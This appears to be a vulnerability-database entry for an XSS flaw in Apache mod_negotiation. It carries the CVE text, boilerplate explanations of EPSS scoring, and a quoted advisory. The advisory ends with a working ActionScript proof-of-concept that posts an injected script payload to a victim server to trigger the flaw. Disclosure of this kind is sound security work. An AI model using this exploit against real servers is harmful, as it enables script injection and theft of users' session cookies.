CVE Descriptions

Cross-site scripting (XSS) vulnerability in the mod_negotiation module in the Apache HTTP Server 2.2.6 and earlier in the 2.2.x series, 2.0.61 and earlier in the 2.0.x series, and 1.3.39 and earlier in the 1.3.x series allows remote authenticated users to inject arbitrary web script or HTML by uploading a file with a name containing XSS sequences and a file extension, which leads to injection within a (1) "406 Not Acceptable" or (2) "300 Multiple Choices" HTTP response when the extension is omitted in a request for the file.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/27409/info Apache 'mod_negotiation' is prone to an HTML-injection and an HTTP response-splitting vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and influence or misrepresent how web content is served, cached, or interpreted; other attacks are also possible. // Tested on IE 7 and FF 2.0.11, Flash plugin 9.0 r115 // Compile with flex compiler package { import flash.display.Sprite; import flash.net.* public class TestXss extends flash.display.Sprite { public function TestXss(){ var r:URLRequest = new URLRequest('http://victim/<img%20src=sa%20 onerror=eval(document.location.hash.substr(1))>#alert(123)'); r.method = 'POST'; r.data = unescape('test'); r.requestHeaders.push(new URLRequestHeader('Accept', 'image/jpeg; q=0')); navigateToURL(r, '_self'); } } }
